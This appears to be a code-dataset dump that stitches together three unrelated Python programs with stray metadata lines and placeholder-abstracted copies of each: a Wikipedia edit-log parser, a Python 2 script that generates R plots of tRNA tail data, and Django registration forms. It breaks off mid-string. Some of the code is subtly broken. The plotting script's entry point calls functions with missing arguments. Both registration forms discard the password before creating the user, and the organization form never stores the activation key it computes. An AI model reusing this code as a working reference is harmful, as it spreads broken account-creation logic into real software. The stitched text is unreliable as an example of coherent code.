import sys def main(): # String to format output format_string = "%s %s %s %s %s %s %s %s %s\n" while True: # Read 14 lines at a time from stdin for wikipedia dataset edit = [sys.stdin.readline() for i in range(14)] # Break if we've reached the end of stdin if edit[13] == "": break # Parse data from revision line revision = edit[0].split(' ') article_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip() # Ignore anonymous edits if user_id.startswith('uip'): continue # Parse article category category_line = edit[1].split(' ') if len(category_line) != 1: category = category_line[1].strip() else: category = "" # Parse whether edit is minor and number of words edited minor = edit[11].split(' ')[1].strip() word_count = edit[12].split(' ')[1].strip() # Create output line and write to stdout outline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count) sys.stdout.write(outline) if __name__ == '__main__': main()
[ "import sys\n\ndef main():\n\t# String to format output\n\tformat_string = \"%s %s %s %s %s %s %s %s %s\\n\"\n\twhile True:\n\t\t# Read 14 lines at a time from stdin for wikipedia dataset\n\t\tedit = [sys.stdin.readline() for i in range(14)]\n\t\t# Break if we've reached the end of stdin\n\t\tif edit[13] == \"\":\n\t\t\tbreak\n\t\t# Parse data from revision line\n\t\trevision = edit[0].split(' ')\n\t\tarticle_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip()\n\t\t# Ignore anonymous edits\n\t\tif user_id.startswith('uip'):\n\t\t\tcontinue\n\t\t# Parse article category\n\t\tcategory_line = edit[1].split(' ')\n\t\tif len(category_line) != 1:\n\t\t\tcategory = category_line[1].strip()\n\t\telse:\n\t\t\tcategory = \"\"\n\t\t# Parse whether edit is minor and number of words edited\n\t\tminor = edit[11].split(' ')[1].strip()\n\t\tword_count = edit[12].split(' ')[1].strip()\n\t\t# Create output line and write to stdout\n\t\toutline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count)\n\t\tsys.stdout.write(outline)\n\nif __name__ == '__main__':\n\tmain()", "import sys\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\n<code token>\n", "<import token>\n<function token>\n<code token>\n" ]
false
9,921
05f5931a53c9916f151f42910575f9c5533bfceb
import sys import HTSeq import re import string import glob import os import time import difflib import argparse def parse_input(): parser = argparse.ArgumentParser(description=""" USAGE: python make_figs.py -f data_file """) # If the -b option is used, tRNAs with no tails are not counted. # This speeds up the removal of duplicates for large datasets #parser.add_option("-b", "--blanks", action="store_false", dest="includeBlankTails", default=True) parser.add_argument("-f", "--data_file", action="store", dest="data_file", help="Filename of data.") args = parser.parse_args() return args def write_most_common_tails(inserts, base_filename, control=False): for exp in inserts: with open("%s_%s" % (base_filename, os.path.basename(exp).rstrip('.inserts').rstrip( '.fastq')), 'w') as f: if(not control): lines = inserts[exp].write_table_of_most_common_tails(control) if(control): lines = inserts[exp].write_table_of_most_common_tails( control, get_pvalues=True) f.write(lines) def parse_data_file(filename): data = {} print "Opening %s with file size %i..." % ( filename, os.path.getsize(filename)) with open(filename, 'r') as f: dataset = "" for li in f: #print li s = li.strip('\n').split('\t') m = re.match(r'number tails in ([^:]+):.*', li) if(m is not None): dataset = m.group(1) dataset = os.path.basename(dataset) cur_dataset = dataset data[dataset] = {'n_tails': s[1:]} continue m = re.match(r'([AGCTN]):.*', s[0]) if(m is not None): data[dataset][m.group(1)] = s[1:] continue m = re.match(r'tail length:.*', li) if(m is not None): data[dataset]['tail_len'] = s[1:] continue m = re.match(r'.*Number of unique.*', li) if(m is not None): data[dataset]['n_unique'] = s[1:] continue return data def check_data_agreement(data): for exp in data: max_range = min(len(data[exp]['n_tails']), len(data[exp]['tail_len']), len(data[exp]['n_unique'])) n_tails = 0 for index in range(1, max_range-1): try: n_tails += float(data[exp]['n_tails'][index]) except: print "Error at %s, %i" % (exp, index) print "%s: total tails=%f" % (exp, n_tails) def write_for_R(data, src_path): src_path = os.path.dirname(os.path.realpath(__file__)) files_for_R = list() check_data_agreement(data) for exp in data: with open("%s/figs/%s.forR" % ( src_path, exp.rstrip('.fastq.inserts') ), 'w') as f: li = "tail_len\tn_tails\tn_unique\tA\tC\tT\tG\n" max_range = min(len(data[exp]['n_tails']), len(data[exp]['tail_len']), len(data[exp]['n_unique'])) for index in range(0, max_range): li += "%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % ( data[exp]['tail_len'][index], data[exp]['n_tails'][index], data[exp]['n_unique'][index], data[exp]['A'][index], data[exp]['C'][index], data[exp]['T'][index], data[exp]['G'][index]) f.write(li) files_for_R.append("%s/figs/%s.forR" % ( src_path, exp.rstrip('.fastq.inserts'))) return files_for_R def r_script_for_barplot(files_for_R, src_path): for filename in files_for_R: li = """ f = read.table("%s", head=T)""" % filename li += """ bases = as.data.frame(cbind(f$A, f$C, f$T, f$G)) m = as.matrix(bases) outfname = "%s/figs/barplot_%s.eps" """ % (src_path, os.path.basename(filename)) li += r''' library(RColorBrewer) my_cols <- brewer.pal(4, "RdBu") setEPS(width=5,height=3); postscript(outfname) barplot(t(m), xlab = 'Tail length', ylab = 'Percent base composition', legend=c('A','C','T','G'), col=my_cols) dev.off() ''' li += """ outfname = "%s/figs/plot_%s.eps" """ % (src_path, os.path.basename(filename)) li += r''' library(RColorBrewer) my_cols <- brewer.pal(4, "RdBu") setEPS(width=5,height=10); postscript(outfname) par(mfrow=c(3,1)) plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length', ylab='Number of tails') plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length', ylab='Number of unique tails') barplot(t(m), xlab = 'Tail length', ylab = 'Percent base composition', legend=c('A','C','T','G'), col=my_cols) dev.off() ''' with open('tmp.r', 'w') as f: f.write(li) cmdl = """R CMD BATCH tmp.r""" os.system(cmdl) def make_figs(data_filename, src_path): print "In make_figs. Processing file %s" % data_filename data = parse_data_file(data_filename) if(not os.path.exists(src_path + "/figs")): print "making %s/figs" % src_path os.system("mkdir %s/figs" % src_path) files_for_R = write_for_R(data, src_path) r_script_for_barplot(files_for_R, src_path) if __name__ == '__main__': src_path = os.path.dirname(os.path.realpath(__file__)) args = parse_input() data = parse_data_file(args.data_file) if(not os.path.exists(src_path + '/figs')): os.system('mkdir ' + src_path + '/figs') files_for_R = write_for_R(data) r_script_for_barplot(files_for_R)
[ "import sys\nimport HTSeq\nimport re\nimport string\nimport glob\nimport os\nimport time\nimport difflib\nimport argparse\n\n\ndef parse_input():\n parser = argparse.ArgumentParser(description=\"\"\"\n USAGE: python make_figs.py -f data_file\n \"\"\")\n\n # If the -b option is used, tRNAs with no tails are not counted.\n # This speeds up the removal of duplicates for large datasets\n #parser.add_option(\"-b\", \"--blanks\", action=\"store_false\", dest=\"includeBlankTails\", default=True)\n\n parser.add_argument(\"-f\", \"--data_file\", action=\"store\",\n dest=\"data_file\",\n help=\"Filename of data.\")\n args = parser.parse_args()\n return args\n\n\ndef write_most_common_tails(inserts, base_filename, control=False):\n for exp in inserts:\n with open(\"%s_%s\" % (base_filename,\n os.path.basename(exp).rstrip('.inserts').rstrip(\n '.fastq')),\n 'w') as f:\n if(not control):\n lines = inserts[exp].write_table_of_most_common_tails(control)\n if(control):\n lines = inserts[exp].write_table_of_most_common_tails(\n control, get_pvalues=True)\n f.write(lines)\n\n\ndef parse_data_file(filename):\n data = {}\n print \"Opening %s with file size %i...\" % (\n filename, os.path.getsize(filename))\n with open(filename, 'r') as f:\n dataset = \"\"\n for li in f:\n #print li\n s = li.strip('\\n').split('\\t')\n m = re.match(r'number tails in ([^:]+):.*', li)\n if(m is not None):\n dataset = m.group(1)\n dataset = os.path.basename(dataset)\n cur_dataset = dataset\n data[dataset] = {'n_tails': s[1:]}\n continue\n m = re.match(r'([AGCTN]):.*', s[0])\n if(m is not None):\n data[dataset][m.group(1)] = s[1:]\n continue\n m = re.match(r'tail length:.*', li)\n if(m is not None):\n data[dataset]['tail_len'] = s[1:]\n continue\n m = re.match(r'.*Number of unique.*', li)\n if(m is not None):\n data[dataset]['n_unique'] = s[1:]\n continue\n return data\n \n\ndef check_data_agreement(data):\n for exp in data:\n max_range = min(len(data[exp]['n_tails']),\n len(data[exp]['tail_len']),\n len(data[exp]['n_unique']))\n n_tails = 0\n for index in range(1, max_range-1):\n try:\n n_tails += float(data[exp]['n_tails'][index])\n except:\n print \"Error at %s, %i\" % (exp, index)\n print \"%s: total tails=%f\" % (exp, n_tails)\n \n\ndef write_for_R(data, src_path):\n src_path = os.path.dirname(os.path.realpath(__file__))\n files_for_R = list()\n check_data_agreement(data)\n for exp in data:\n with open(\"%s/figs/%s.forR\" % (\n src_path, exp.rstrip('.fastq.inserts')\n ), 'w') as f:\n li = \"tail_len\\tn_tails\\tn_unique\\tA\\tC\\tT\\tG\\n\"\n max_range = min(len(data[exp]['n_tails']),\n len(data[exp]['tail_len']),\n len(data[exp]['n_unique']))\n for index in range(0, max_range):\n li += \"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (\n data[exp]['tail_len'][index],\n data[exp]['n_tails'][index],\n data[exp]['n_unique'][index],\n data[exp]['A'][index],\n data[exp]['C'][index],\n data[exp]['T'][index],\n data[exp]['G'][index])\n f.write(li)\n files_for_R.append(\"%s/figs/%s.forR\" % (\n src_path, exp.rstrip('.fastq.inserts')))\n return files_for_R\n\n\ndef r_script_for_barplot(files_for_R, src_path):\n for filename in files_for_R:\n li = \"\"\"\n f = read.table(\"%s\", head=T)\"\"\" % filename\n li += \"\"\"\n bases = as.data.frame(cbind(f$A, f$C, f$T, f$G))\n m = as.matrix(bases)\n outfname = \"%s/figs/barplot_%s.eps\"\n \"\"\" % (src_path, os.path.basename(filename))\n li += r'''\n library(RColorBrewer)\n my_cols <- brewer.pal(4, \"RdBu\")\n setEPS(width=5,height=3); postscript(outfname)\n barplot(t(m), xlab = 'Tail length',\n ylab = 'Percent base composition',\n legend=c('A','C','T','G'), col=my_cols)\n dev.off()\n '''\n li += \"\"\"\n outfname = \"%s/figs/plot_%s.eps\"\n\"\"\" % (src_path, os.path.basename(filename))\n li += r'''\n library(RColorBrewer)\n my_cols <- brewer.pal(4, \"RdBu\")\n setEPS(width=5,height=10); postscript(outfname)\n par(mfrow=c(3,1))\n plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length',\n ylab='Number of tails')\n plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length',\n ylab='Number of unique tails')\n barplot(t(m), xlab = 'Tail length',\n ylab = 'Percent base composition',\n legend=c('A','C','T','G'), col=my_cols)\n dev.off()\n '''\n with open('tmp.r', 'w') as f:\n f.write(li)\n cmdl = \"\"\"R CMD BATCH tmp.r\"\"\"\n os.system(cmdl)\n\n\ndef make_figs(data_filename, src_path):\n print \"In make_figs. Processing file %s\" % data_filename\n data = parse_data_file(data_filename)\n if(not os.path.exists(src_path + \"/figs\")):\n print \"making %s/figs\" % src_path\n os.system(\"mkdir %s/figs\" % src_path)\n files_for_R = write_for_R(data, src_path)\n r_script_for_barplot(files_for_R, src_path)\n\n \nif __name__ == '__main__':\n src_path = os.path.dirname(os.path.realpath(__file__))\n args = parse_input()\n data = parse_data_file(args.data_file)\n if(not os.path.exists(src_path + '/figs')):\n os.system('mkdir ' + src_path + '/figs')\n files_for_R = write_for_R(data)\n r_script_for_barplot(files_for_R)\n" ]
true
9,922
5f680fb21fe1090dfb58f5b9260739b91ae04d99
from django import forms from django.contrib.auth.models import User from ServicePad.apps.account.models import UserProfile import hashlib, random, datetime from ServicePad.apps.registration.models import ActivationKey MIN_PASSWORD_LENGTH=8 MAX_PASSWORD_LENGTH=30 class UserRegistrationForm(forms.Form): first_name = forms.CharField(required=True,max_length=30) last_name = forms.CharField(required=True,max_length=30) email = forms.EmailField(required=True,max_length=30) password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER) def clean(self): cleaned_data = self.cleaned_data #Verify usernames try: User.objects.get(username__exact=cleaned_data.get('email')) except User.DoesNotExist: pass else: raise forms.ValidationError("Email already exists") #Verify Passwords password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError("Passwords do not match") del cleaned_data['password'] del cleaned_data['confirm_password'] account_type = int(cleaned_data.get('form_type')) if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION: raise forms.ValidationError("Invalid account type") return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['first_name'] new_user.last_name = self.cleaned_data['last_name'] new_user.is_active = False new_user.save() #create the activation key salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires) key_obj.save() new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER) new_profile.save() return new_user class OrganizationRegistrationForm(forms.Form): business_name = forms.CharField(required=True,max_length=60) primary_contact_first_name = forms.CharField(required=True,max_length=30) primary_contact_last_name = forms.CharField(required=True,max_length=30) primary_contact_phone = forms.CharField(required=True,max_length=30) primary_contact_email = forms.EmailField(required=True,max_length=30) password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH) form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION) def clean(self): cleaned_data = self.cleaned_data #Verify usernames try: User.objects.get(username__exact=cleaned_data.get('primary_contact_email')) except User.DoesNotExist: pass else: raise forms.ValidationError("Email already exists") #Verify Passwords password = cleaned_data.get('password') confirm_password = cleaned_data.get('confirm_password') if password != confirm_password: raise forms.ValidationError("Passwords do not match") del cleaned_data['password'] del cleaned_data['confirm_password'] return cleaned_data def save(self): new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password')) new_user.first_name = self.cleaned_data['primary_contact_first_name'] new_user.last_name = self.cleaned_data['primary_contact_last_name'] new_user.is_active = False new_user.save() salt = str(random.random()) hash_salt = hashlib.sha224(salt).hexdigest() activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32] key_expires = datetime.datetime.today() + datetime.timedelta(days=1) new_profile = UserProfile(user=new_user, account_type=UserProfile.ACCOUNT_ORGANIZATION, business_name=self.cleaned_data['business_name'] ) new_profile.save() return new_user
[ "from django import forms\nfrom django.contrib.auth.models import User\nfrom ServicePad.apps.account.models import UserProfile\nimport hashlib, random, datetime\nfrom ServicePad.apps.registration.models import ActivationKey\n\nMIN_PASSWORD_LENGTH=8\nMAX_PASSWORD_LENGTH=30\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True,max_length=30)\n last_name = forms.CharField(required=True,max_length=30)\n email = forms.EmailField(required=True,max_length=30)\n password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER)\n \n def clean(self):\n cleaned_data = self.cleaned_data\n \n #Verify usernames\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError(\"Email already exists\")\n \n #Verify Passwords\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError(\"Passwords do not match\")\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n \n account_type = int(cleaned_data.get('form_type'))\n if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION:\n raise forms.ValidationError(\"Invalid account type\")\n \n \n return cleaned_data\n \n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n \n #create the activation key\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n \n key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires)\n key_obj.save()\n \n new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER)\n \n new_profile.save()\n \n return new_user\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True,max_length=60)\n primary_contact_first_name = forms.CharField(required=True,max_length=30)\n primary_contact_last_name = forms.CharField(required=True,max_length=30)\n primary_contact_phone = forms.CharField(required=True,max_length=30)\n primary_contact_email = forms.EmailField(required=True,max_length=30)\n password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION)\n \n def clean(self):\n cleaned_data = self.cleaned_data\n \n #Verify usernames\n try:\n User.objects.get(username__exact=cleaned_data.get('primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError(\"Email already exists\")\n \n #Verify Passwords\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError(\"Passwords do not match\")\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n \n \n return cleaned_data\n \n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n \n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user,\n account_type=UserProfile.ACCOUNT_ORGANIZATION,\n business_name=self.cleaned_data['business_name']\n )\n \n new_profile.save()\n \n return new_user\n\n ", "from django import forms\nfrom django.contrib.auth.models import User\nfrom ServicePad.apps.account.models import UserProfile\nimport hashlib, random, datetime\nfrom ServicePad.apps.registration.models import ActivationKey\nMIN_PASSWORD_LENGTH = 8\nMAX_PASSWORD_LENGTH = 30\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\nMIN_PASSWORD_LENGTH = 8\nMAX_PASSWORD_LENGTH = 30\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n", "<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = 